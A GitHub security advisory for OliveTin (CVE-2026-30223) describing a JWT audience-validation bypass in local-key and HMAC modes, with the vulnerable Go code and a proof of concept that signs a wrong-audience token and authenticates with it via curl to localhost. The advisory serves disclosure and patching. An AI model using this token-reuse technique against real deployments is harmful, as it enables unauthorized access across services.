GitHub Advisoryadvisory · Go

GHSA-g962-2j28-3cg9 OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes

HIGH Published 2026-03-05 Modified 2026-03-06 Official page ↗
Aliases
CVE-2026-30223
Ecosystem
Go
Packages
github.com/OliveTin/OliveTin
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-287, CWE-345
Reviewed
2026-03-05

Affected packages

• Go github.com/OliveTin/OliveTin: < 0.0.0-20260304231339-e97d8ecbd8d6 → fixed in 0.0.0-20260304231339-e97d8ecbd8d6

Description

Summary When JWT authentication is configured using either: • `authJwtPubKeyPath` (local RSA public key), or • `authJwtHmacSecret` (HMAC secret), the configured audience value (`authJwtAud`) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. Details Affected Code File: `jwt.go` Lines: 51–59, 144–157, 161–168 Current Behavior Remote JWKS Mode (Correct): ```go return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud)) ``` Audience validation is enforced. Local Public Key Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. HMAC Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. Why This Is Vulnerable: `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted. PoC 1. Configure OliveTin Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience authRequireGuestsToLogin: true ``` 2. Generate a Wrong-Audience Token ```python python3 - <<EOF import jwt, datetime with open("private.pem") as f: key = f.read() token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" ) print(token) EOF ``` This prints the `$WRONG_AUD_TOKEN`. 3. Test Without Token (Baseline) ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}' ``` Expected response: ``` HTTP/1.1 401 Unauthorized ``` 4. Test With Wrong-Audience Token ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}' ``` Expected response: ``` HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""} ``` Authentication succeeds even though the `aud` claim is incorrect. Impact An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully. This enables: • Cross-service token reuse • Authentication using tokens issued for other systems • Trust boundary violation in multi-service environments This is particularly severe when: • OliveTin is deployed behind a centralized SSO provider • The same signing key is reused across services • Audience restrictions are relied upon for service isolation This does not bypass ACL authorization. It is strictly an authentication validation flaw.

Related

Alias · CVE (1)

  • CVE-2026-30223 OliveTin gives access to predefined shell commands from a web interface. vulnerability

Weakness · CWE (2)

  • CWE-287 Improper Authentication weakness
  • CWE-345 Insufficient Verification of Data Authenticity weakness

References